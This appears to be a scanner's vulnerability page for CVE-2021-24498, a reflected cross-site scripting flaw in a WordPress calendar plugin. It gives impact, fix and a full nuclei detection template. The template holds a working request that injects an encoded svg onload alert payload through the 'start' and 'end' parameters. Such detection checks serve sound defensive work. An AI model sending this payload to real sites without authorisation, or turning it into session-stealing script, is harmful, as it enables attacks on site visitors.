WordPress Calendar Event Multi View <1.4.01 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.5%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

WordPress Calendar Event Multi View plugin before 1.4.01 contains an unauthenticated reflected cross-site scripting vulnerability. It does not sanitize or escape the 'start' and 'end' GET parameters before outputting them in the page (via php/edit.php).

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.

Fix

Update the WordPress Calendar Event Multi View plugin to version 1.4.01 or later to mitigate the vulnerability.

How to confirm it

Send: GET /?cpmvc_id=1&cpmvc_do_action=mvparse&f=edit&month_index=0&delete=1&palette=0&paletteDefault=F00&calid=1&id=999&start=a%22%3E%3Csvg/%3E%3C%22&end=a%22%3E%3C…
Positive when: contains "><svg/onload=alert(1)><" and "Calendar Details" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24498 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24498

info:
  name: WordPress Calendar Event Multi View <1.4.01 - Cross-Site Scripting
  author: suman_kar
  severity: medium
  description: WordPress Calendar Event Multi View plugin before 1.4.01 contains an unauthenticated reflected cross-site scripting vulnerability. It does not sanitize or escape the 'start' and 'end' GET parameters before outputting them in the page (via php/edit.php).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update the WordPress Calendar Event Multi View plugin to version 1.4.01 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/3c5a5187-42b3-4f88-9b0e-4fdfa1c39e86
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24498
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24498
    cwe-id: CWE-79
    epss-score: 0.03536
    epss-percentile: 0.89369
    cpe: cpe:2.3:a:dwbooster:calendar_event_multi_view:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: dwbooster
    product: calendar_event_multi_view
    framework: wordpress
  tags: cve2021,cve,xss,wordpress,wp-plugin,wpscan,dwbooster,vkev,vuln

http:
  - raw:
      - |
        GET /?cpmvc_id=1&cpmvc_do_action=mvparse&f=edit&month_index=0&delete=1&palette=0&paletteDefault=F00&calid=1&id=999&start=a%22%3E%3Csvg/%3E%3C%22&end=a%22%3E%3Csvg/onload=alert(1)%3E%3C%22 HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '><svg/onload=alert(1)><'
          - 'Calendar Details'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

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